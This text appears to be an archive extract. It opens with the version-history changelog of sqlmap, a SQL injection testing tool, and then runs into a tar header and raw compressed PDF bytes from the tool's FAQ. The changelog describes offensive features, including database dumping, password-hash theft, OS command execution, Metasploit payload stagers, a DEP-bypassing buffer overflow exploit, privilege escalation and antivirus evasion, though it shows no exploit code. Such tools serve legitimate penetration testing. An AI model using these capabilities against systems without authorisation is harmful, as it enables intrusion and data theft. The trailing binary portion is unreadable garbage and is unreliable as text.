active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5. * Updated active fingerprint for PostgreSQL 8.4. * Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. * Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses. * Support for Certificate authentication, `--auth-cert` option added. * Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`. * Added option `-r` to load a single HTTP request from a text file. * Added switch `--ignore-proxy` to ignore the system default HTTP proxy. * Added support to ignore Set-Cookie in HTTP responses, `--drop-set-cookie`. * Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`. * Major bug fix and enhancements to the multi-threading (`--threads`) functionality. * Fixed URL encoding/decoding of GET/POST parameters and Cookie header. * Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository. * Major bugs fixed. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Major code cleanup. * Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. * Updated user's manual. * Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html. # Version 0.8 release candidate (2009-09-21) * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring. # Version 0.7 (2009-07-25) * Adapted Metasploit wrapping functions to work with latest 3.3 development version too. * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. * Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. * Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. * Major bug fix to sql-query/sql-shell features. * Major bug fix in `--read-file` option. * Major silent bug fix to multi-threading functionality. * Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. * Fixed MySQL 'comment injection' version fingerprint. * Fixed basic Microsoft SQL Server 2000 fingerprint. * Many minor bug fixes and code refactoring. # Version 0.7 release candidate (2009-04-22) * Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server; * Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux; * Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; * Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit; * Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server; * Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; * Speed up the inference algorithm by providing the minimum required charset for the query output; * Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little; * Many minor bug fixes, minor enhancements and layout adjustments. # Version 0.6.4 (2009-02-03) * Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; * Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; * Major speed increase in DBMS basic fingerprint; * Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; * Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; * Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; * Minor layout adjustment to the `--update` output; * Increased default timeout to 30 seconds; * Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; * Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; * Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; * Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; * Updated documentation. # Version 0.6.3 (2008-12-18) * Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; * Major enhancement to support Partial UNION query SQL injection technique too; * Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; * Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; * Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; * Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; * Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; * Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; * Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; * Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; * Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; * Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; * Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; * Minor improvements to sqlmap Debian package files; * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; * Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; * Major bug fix to correctly enumerate columns on Microsoft SQL Server; * Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified; * Minor bug fix to correctly dump table entries when the column is provided; * Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests; * Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread; * Increased default output level from 0 to 1; * Updated documentation. # Version 0.6.2 (2008-11-02) * Major bug fix to correctly dump tables entries when `--stop` is not specified; * Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; * Major bug fix when the request is POST to also send the GET parameters if any have been provided; * Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; * Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; * Minor bug fix in MySQL comment injection fingerprint technique; * Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; * Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided; * Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; * More user-friendly warning messages. # Version 0.6.1 (2008-08-20) * Major bug fix to blind SQL injection bisection algorithm to handle an exception; * Added a Metasploit Framework 3 auxiliary module to run sqlmap; * Implemented possibility to test for and inject also on LIKE statements; * Implemented `--start` and `--stop` options to set the first and the last table entry to dump; * Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; * Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; * Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; * Minor bug fix to correctly handle parameters' value with `%` character. # Version 0.6 (2008-09-01) * Complete code refactor and many bugs fixed; * Added multithreading support to set the maximum number of concurrent HTTP requests; * Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; * Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; * Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; * Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; * Created sqlmap .exe (Windows) portable executable; * Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; * Improved automatic check for parenthesis when testing and forging SQL query vector; * Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable; * Implemented support for HTTPS requests over HTTP(S) proxy; * Added a check to handle NULL or not available queries output; * More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks; * Improved XML files structure; * Implemented the possibility to change the HTTP Referer header; * Added support to resume from session file also when running with inband SQL injection attack; * Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; * Added a check to assure that the provided string to match (`--string`) is within the page content; * Fixed various queries in XML file; * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; * Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function; * Major bug fixed to avoid tracebacks when the testable parameter(s) is dynamic, but not injectable; * Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic; * Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires; * Added support to inject also on Set-Cookie parameters; * Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`; * Renamed some command line options; * Added a conversion library; * Added code schema and reminders for future developments; * Added Copyright comment and $Id$; * Updated the command line layout and help messages; * Updated some docstrings; * Updated documentation files. # Version 0.5 (2007-11-04) * Added support for Oracle database management system * Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; * Added support to extract database users password hash on Microsoft SQL Server; * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; * Added support for SQL injection on HTTP Cookie and User-Agent headers; * Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); * Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; * Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); * Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; * Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; * Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; * Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; * Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); * Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; * More minor layout enhancements in some libraries; * Renamed DMBS plugins; * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Updated all documentation files. # Version 0.4 (2007-06-15) * Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; * Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; * Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); * Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); * Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; * Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; * Improved logging functionality: passed from banal 'print' to Python native logging library; * Added support for more than one parameter in `-p` command line option; * Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); * Added the command line option `--remote-dbms` to manually specify the remote DBMS; * Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; * Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); * Added support to specify the database table column to enumerate (`-C COL`); * Added inband SQL injection (UNION query) support (`--union-use`); * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Reviewed the directory tree structure; * Split lib/common.py: inband injection functionalities now are moved to lib/union.py; * Updated documentation files. # Version 0.3 (2007-01-20) * Added module for MS SQL Server; * Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check; * Added PostgreSQL dbms active fingerprint; * Added support for string match (`--string`); * Added support for UNION check (`--union-check`); * Removed duplicated code, delegated most of features to the engine in common.py and option.py; * Added support for `--data` command line argument to pass the string for POST requests; * Added encodeParams() method to encode url parameters before making http request; * Many bug fixes; * Rewritten documentation files; * Complete code restyling. # Version 0.2 (2006-12-13) * complete refactor of entire program; * added TODO and THANKS files; * added some papers references in README file; * moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header; * strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions; * replaced old inference algorithm with a new bisection algorithm. * reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; * improved Common class, adding support for http proxy and http post method in hash_page; * added OptionCheck class in option.py which performs all needed checks on command line parameters and values; * added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters; * improved output methods in dump.py; * layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions. sqlmap-1.2.4/doc/FAQ.pdf000066400000000000000000011416221326012263700146730ustar00rootroot00000000000000%PDF-1.5 %ÐÔÅØ 119 0 obj << /Length 1542 /Filter /FlateDecode >> stream xÚÍXKsÛ6¾çW°7hÆ‚ñâëÔqÒ:M§™iÏôôQÄš">ìèßwi=¬T©ãN.Â{ñí·‹Ý¥X´ŒXôú;Ѿ¼yqyÍóˆ§TðXE7‹ˆ' úQÂc*sÝÌ£¤ýT­õf2•LEc>õ¦žˆ„tÕçt{;)1sÂzÛ•¶nqø‘Åìz™"Wn×;óÉ_7¿ ñ¨qP\ç×F@Ó<Ž…#8…ˆ¦ŠÑDææ¥ijÝÌ- ?鵩Œë§äŠâÜkÄ£’Ñ?«ëù‰[ý†”¼-ÛVÚa¼CAï;½Þèf_Z*i®Òh*rÊ“€éz’ bfM¯›-béÊŒ'{†öòZ%QFó$ñ¼‹˜¦¹Š¦RA›¢Ø«YÛ5ºèN—;ç9eŒx*¨Ê³Hå€UÆõ®• e‹­®±µ0/2b°µ}S컕V é&œ”“)':aoçl]/ÃÀúݶ Ã'ºïìZÃÞaÁ8"FóL ãŒ&i©LPG€Ã¼iP`aZD/ ™›ÎÃŹ7®Ÿ7Ÿ7•-Þ¿û ÊúowÀÖ8ÿ‘ÉL“ûö@B§oÇÓÖí¸s?¦ÁU¸ßwlLJÀuÆ9"ŸëNÏtëId¤5 H‚›|TÅŠ¼ép¥°k$…“û²[á¤Æ©÷îñô¢¯p)¨Ú€Öõ²¬ÍÊYƒUáÈGuY¸ÑáÙ!î´qïÍá^Ýõ BJÉÂ6ØqƒNBúª+!qzÏ9šÔ»„çK%V˜ÔØÌ«ÃL£ëeã­ m ¸íˆ÷nÌ(Ë%­ôè}B“]£!ûभóVƒË`r76›¦ô¹ƒÁÿ÷í ›\[˜éè>ÐÂGs_ Þ!QKR!j÷Lü«(œcrGi}=7¾qñ^®3¯@¶´[à8 ƒ¢ŸMÑ?ð¾¾0î…ÖáãÛã‡EF9´¡ –m‰ƒD¹s«$we ÈöÝÔ.¦³C½uÞÙúH|y ÞÅðQ}*Í„P™Ñ8Uë^> wlÚ½˜d”C¬‰À@DJSÂ$ŸLsCβ“!;e’\Av‚±ÏN™"ïÆìt$x&…$âàbžì\ Jä ‚4äËTÅáv ÷s&ùÃT_¥ 1÷ÇÛR¥ʱoÞ¨<.ÑØ’–°ü€³q•%Q¿XÎî‘+ŸÉ«7Ø \kÁû§ðù|"çOáG~^ù¼ úN\¼Êài,Œ¼£ga?$دÃ"PØ”;´ÅŸ˜3LÌ×°}ùÁìTÙ <õ#®3€ôEýä—õKýÔ ý ¤Àõ3¬AæÇ ýíž’P@$7–\î„]tèWð£sì32ÿÆŽ/Ï4lü˜ãÈÂèùÁ*Ì6NÌúe‹[}ö[|mƒÚÜcgÈÙ<ñ<þ\½“‡ á-Ú”³~ðhôТÐ-g]U;žëÛUˆ >5Þùï ð×µAIÇN+¿¶<#êLmÓÚB_†¶=¥¿rN¾«¨$•­—S(¤ŽéI¥c˜}>ý²s¼¸í7nü`90œÙ±œÿˆ€Q؇õƒ±Ú½`½ÆôfÓ˜¢ôµæ‘ò®`Ü]ã3ÌÏQpa«Ê:Øáõ•mGÃŽÆ;ÇZêÙÊ€§ÀHqÕLYUÈÀÖÁ·ý)ûZP:ħ¯Añ©—fP?dt_Aº¼~DGþ¯t#«Ý<®ÈïÛneÃIyÿö1ýG+|> stream xÚÕXß“Û4~Ï_á7œ™ZgI¶eñÂЃc:Ú†¦t]¢\L;µ^óß³Ò®}‰ã+×ÂðK²¼Zío¿MÜqðÝìëÅìâJñ@3‰,X¬.%R™NY¦y°X¯Ãö]¹5»y$Ó<\7ó”‡Öý¼ÛÏaTuóˆ‡åÁ½V¡ißúw+ÜýnoÛ®¨«§¿Åi|5ç± /ݦ0çðFê4„'…¯æJ…ÇgÀ(<Çü¢?àÅpÀ›Å³§‹Ù»‡«Å÷WQYWáLÇi°ÜÎ^¿‰ƒ¼ü!ˆ™Ôypç·n™ÀVî>,ƒW³³˜ìÛ‰gÇvJrøBYªÀ^)Ú‰3žÌ£nñ}=yxçî–„KS¹ ¯ñÑn꦳´Öm,îÚ÷É¡¬ÍªÅWEõ‡]vv…³ÿ÷¢C¾òwîu ^G*“!âøqÑç<‹u˜¬oã âŠi)†›¦xÓŸ7¦C¥V õ<-­÷DVrd1%™” y?_¾|~ýü;'# ÷ÕÛª¾«p²Ü˜¦µN¾`Œ}ÂNÍŸfŒÇy/mkMuf Íå?n†HÍ’$%kÈÁÙ„ß»=·o-9¾Ï#xyWt› +qÉYž¦ÃÅêÕï½kŠÎNX!‹÷ÚÊÜ”vuf‡$ן³\A=`#®䯙‰T0G\´cËȰª) Ì DTiOyk;ìLÛÞ9Qu³Â-Ónì;$¸Þ’ñ—¦µí™qr­>ívñÙ½ò&jÞ^Î… ']' DônŒ¢Î~袺Ôû+—¯êó ©üï{û3ÅE–² `Œ$ÚíDÖZôЭ8sN3ÅR;·°Ó£gš->!º,]ÝNÙ” ‘³,§‚^óòzqýÍå³7„8uUÐBÁyWltÏm¬¡8ãúTîݦÀhÍP×tÐÕ%&Ž ŒÝeùø¢)”[8Ì˹iEzØJDë`€r¤Ùš²<œ—|f¿'Zî@‚ižŒãDÄh:Ÿ…‰T,Ë È9%UXtøTī۶ðNPèÿÊóGb'ç,¨?•þüÕÓ—‹‹Ÿ~üörñtª0Ýkt&òôûW/ž¡Ëz»5ÕŠ”}_˜hÂ3Íb 'œL ’¢@3~ÔLáœÊ¤Ç‰'Â3çútœ0€Ï²|ta õ”®šI%Nå­]>Lè&˜Œqg!œeâ?'Á3–VŒð]ðžòqØÅŠ)MI;T0cUãœ*,PþÃ’/c°²²@Î…ý°+ë¢ÃwÀ÷¡&$r+=¢À5 @ƒ«.tlMI¼=O8ê´,LI‚õ¨.© ™Æžó_ ÿµÊñhŠÐåÁš{§‹‡°&Q°˜§7°£{Êѽ$‰‘æ»Á5>VûíG¾–Ã\gÁÃMgŠ çЀ[º¦pLÁo]ã ƒÓ#Ç o€¿¬zyøÜºÓÓqµV§’â ®V…‹ªsŸ«ÿ‡Ï?5,þ=­³ÍÀ +¬ÃÔÇýˤ¢î¬.iðÞùÄ6­ËahVñçÕ{š{æ™$ÿ2K‹óPŸ¬^\òñ„É$£#ë¬"s¦EoèÑ9¤«9°ŒÆºÞ|.Ó|®Òð²}ëæ¾c…éIoŽ@'ž¦þàÑÐJ©þ/ $œx4|ïažGV{¸ÚöݾLAq©G  Za«™åI´CŠNÓ¶Þ7K‹[2ØÊv!0v×t·¶‰“iEIS"ÿõû®ÞšÎ¶ý‹^fƒ_,mÛžaK¯{¡Ø3±¤JávSW}ý€JQ`¿äÉ…à?^s7…@MGªv$¤3oÉžtRøÒJ¯‚2H–< VcÅ¥»MotÛ¼w¢ \Z&À†©1‚ÂeÛ£ö92ýý Ûgÿõz_R?…¨)ûlu[Tö N€C ídVÅÒÍz¾¼¶¦Û7ý‘뺡Vr3Ü$OÆ7+ÂÍ} ­€ñœж—£¨p Qá 3Œ½Yý@ä ­4¦º%9 àIM¡S·Å•Òô“uSoq46>ÖxçT’<(ÝÚf×@:tŸÐÁä`ö ;Étšuºèp3q>Ű!yžË¸Û.]PSjhÚëûje›òP`‡æžë‘êè ²{Õ=Ýl`Ö-ŽÑ¬..?Øåž,äRi ÐnæO<Þ-P;oõŸ‹uœ7î¡Ý^G7Dlƒñˆ"—Ð|äC-¥f±eà|–gÙPH×€+ Ü!¤­j|^ã/fÿ î\ê/àJ©;Yc„üÿ"{ú¥¡thöUE^JÂ>›(ý~z~ýËųÂ'Óþµ›½±\Îø,£¸O#J¬²ÄĤ“k轋¤IÃré@Ыnˆ¨Úf[T¦ür²XzWCË5ýýº;t›¾‡G#²Ý§ÑfœQ -KN2È_¿ÎsI–“÷Üš²¥¿ŸZ{z{ÏX:•è èo,€ºÖÜö-¼gj»¹#ù·»Û‘n¹ßfTÎÇ7©†ÈtK¥½GÍ +]W‘çy(ND<]Ìþ2)¬œ endstream endobj 163 0 obj << /Length 2242 /Filter /FlateDecode >> stream xÚ¥X]³Û¶}ׯ`ŸJÍX  éiëÚiì&“ÎØíñdì@M¼;ðëÝO³îfŸf ® _%³9®’DEl‚Õnöá×8Xcð§ Žt‘žº tŠ© -¬ƒÍÞÍâ§öIìSûD±ºÜßd0™ îv0ÕºO>ÎU¶£tÊÎQÃ†ÝØ4Us/Ò¶ñ£òy_5ë–Vzô=ì;¸t{„ðq^´õM[ײö¸ûªÝíÊf-çnºv7;_™(5‘ÊåƒëvUSÖÏÙ¢“%¦/à’>1G@(/Œåûç¾}¶m£2jï¹¹/ÐÔ(ã¡í¥»ØÒ)·m ¡É‹(Í QðýÖÁž¼ìL—㥬T¡ÎkvûP…+eÆœoP‘Wr²9^Úû=nXÚyùÉù¹ «¦ʺvkoO:¡»÷GýóÍ,øÀkDµ3›÷Úè+÷KãÓñ®n÷ºWì·À¢LÁ6 ײ~Ñ/󆮿î¤äˆaG°ª‰ „-A£4>‘±Ž”ª;W»²wk‘ŽÍÚuÒ<¢•Úì^šífv7P‰ß¼ýù³:%y&‹ÛjE@ߊ;W6ý´m9H S9,ͤó5u¦…{DAéêóܘ°ðXçp4uÒÛцcï÷_žè0×U?tÕr&C0àÚÑÏÞŒnìMÓ9š½š²n „O´Š)Õý–ú«¬™æI”¦Z´ù®þp Õˆ¯¥íwÔá׸®¬¥óv\Ö0!·®V®éý¬jè]½¹"±3Gú48tfÀôAÚ:—ŒmV)3'è íƒ§•^)Ÿ}×î»Ê e÷èW´›æ(`Æ^ü6]³eh`>¦ÄÔš+¦6…kú­ˆIúBaŒ{‡®Ev g¬œ ­iëöþQÆq rO+3δçå¤=eEú¡$œvMì1ådl]_÷/쮌õY#~fzGÕâµ^zTݬZQ©\QîþFp]&.â‡ÂNÔØ—µëÿêeÛÝ_ä„3Ûç:²ùq%—S×xU!eĹº$Vã±ó÷V|Ì._]©s{!ÈnÁr¼ï¥ÕvÓ®ó¤Ó8¿ÑƕÈ(»Fñ9)¾Qµ¤YâStX/®¨Át5ê÷éÛ&(æl  òòáù‡ùÂÚ8|Ë<‰ c%g1µ "@–¦FâoH"¢’Ü$JšXõýèüÜ®d¤>0ƺ öä)m÷ì*âtŠ{Øü*âPçZ¸×'-O,ß&p†»²ª%IÈea ÄöÃ%Ÿ3ÑK’,*´—¼«µÃR×?¿ Ї³¤^¤éyø1N²[ }J&lf…ç†òyî•Û´\IeO+)túq‰‹ìªAºÌYyH2‚‰Ä¥9¹” •î²;f©lâ—vðÝÖ×Óß’ f4Vu+émvm/mØm…šçòE•û+ìʇ‰%¨æ;ß’< ì’mË^dä¥v6£œ‡Ç½H–|16 Eø²Æ‚¾}&É —,Â-qd>œN»‘Ý-Ò¨ëþØË䤯±¬Ïá‘\Þ3CA¦|ÊÞ0‡>Ï[ÿþH¹$A6·~hˆn¡hAM *pVòûPD>0—Êá Lˆrÿ89^Sâyšåǧ™°Î :]Ë6^«Ë÷Õ’†Y‡Šh}+ãpúS*’ UŒ×v¿sruq×WRåmØÔFéDWR éé¹ô»m§þ÷fåø_æ9¸oì$†Îˆ’ƒjÛŽõZÚ÷§Z ½5²oU;?FOŸnäLè«,3hlåÅ*&49‹ÝMn 1ÁñÕ¨SÈb‰OÑX¹¬ÝŽÃÃÊK<)NEÚ]YI¶F›/ý‰Ñlù¢6$îËÊíIc­©zÃ1»[–j"ªünsk·Ž¾*t'=ã"2Ö[÷ol$.ÔÑÓ§J]£€w_<1­|=©¦Êh[’Õ>Wâ©Ê¤!5Mí©‚A ÙFò4|)Ò~ÇyŽ'xÔj„Aï.P™E&.‚¤È"{SóïqZSJ o¨¬:LÙùbúSG‹qè»ve}Äy”Ùÿ â$Çsz/1Àr§škA Š®RV €AG8X9ŽÛ,ôTÌÅ 1-§êrªìÑ‘·žÚQ •Ôp"¸û ×â>ÉðfŸÞ@¾f³=!ªtr³žŠ-(ïçÿß)¼99L؆ï·þ¯³ƒXC¬Vù¿ã6ü(ÿ·±pylg” 6cýâ¦çzåÚä¿'ïK;˜"ÊÒüä;¥Ùw›€:l¥QbRš$‰:‰['O;SO³‡IB7¦i¥tÁçp&j{.aIr [Sª*B¿7G–àU¹ûÞ« 2 Nè58YPIÒ¼z«4ƒ?”ÜJJc0ÊÉÍJ»§¢‚ý8 ›ü'Kÿ=b”hkJ/ê‹gg`ûVê×¾.ôg\) Yù{A_þi8]M›(×™þJîôTº¯Ë•;¯W—ݱ@¨<Œé µ¤‰> stream xÚ½[[sÛ6~ׯÀ>5Ù¸_:™î¦é¦íL»“&étwS?È6m«Ñ-"UÇÿ~¿CS!R-Ky0ABà9Îùƒ‚qf˜âÌ2á L ÉGfB1¥šiJÇ þ„gÞx4c>¨D½°œIƒ2&!FÓ3½jÁÂÙ9x"•Æ›B0åPjË$i˜!ô@K&öLC”óPŒ&Üâ"Þ7@&ñl=C¤ Š‘P d*@¨…ŠàôÀJ¦¥ Ì”Àc-DC iã s}S’9…rD’` #ÃA•Vè«@iÝv0à𪠨ô–Y ýžT@€!„¡ÊqŽg ‘ÀJÍY€Hë$ *¸Ι f处ŒÎ%óø‡XÌTë¢(¶ŽÚXæ½ Õ0†àºÝ@©Tr 0ˆA¡dî`ð†@¿‚Õ4Rè<ÝY 1S¤[jDz$ä É Œ d&àJm¹Vâ=Ý9gr[{ýê5p‘£ðàɇ! _ÕKÒ¡jÕ¤CÕI‡¦; ; ø¤+>d¨ªFžˆ4ÐI®)kTšî †B #@ I6RTÂ/¨G“¿Òv_ßTYÇ1˜Â2I ÈQ+3ŽîÁ£®êš§Ñ1†ÔzübÈù%T « €¶ƒ/XþŽå?ÌÞÏXþ={VÕh6ÍÄ×ìÛoÏþPÎâÏýÁ9M—] º|¢Ë2>NéRÑeL—;ºüÁ5§ò%]Jº|Œí/6ø5•UFY#ºÌ¢üòë6àåyÄÜ…úwºÜÐe¥®ÔŽ¢²UM{V÷bß›Óå{Ô˶úcn까իšŸ>ÔVøï.¢yªXwĪøU”0ÝŠo”Žx è:ºÇð¤«V·Q~GnõÛ°%nÃ<‹ôåÄ «hòYÄÐÙ¹aD—ŒV­ê¯x7Ž’æ©E®ûØ]f÷"B;ïžHýl¼1|³­6žG£ÎÒÇQT_Å—-“—ñÍ«Øô6m_ô±–é=¯.zq­w…,Z±á<:Õu+J¬_iËü´-”­šNão ò«X½ž>ËTtÙÇVö0ϺHm•ŽôùŽ4‹¯¯_vÄîaôÊñ޹™ÔÜ´”õ˜‰“Ž”´Ïhî0£ c¯×Éj×ÝqŒUû|ªW§õñsäMGŒ*úò‡yÔr—zÏ0Ž~ÙMLþLSYÕ= λ§ÞÁ Xa·ä_/¼‹V_~{oéòïhÞúM—±ÛãÝzȦ­q»IW=eº|Z5ý*N õå«î°7ìÍ 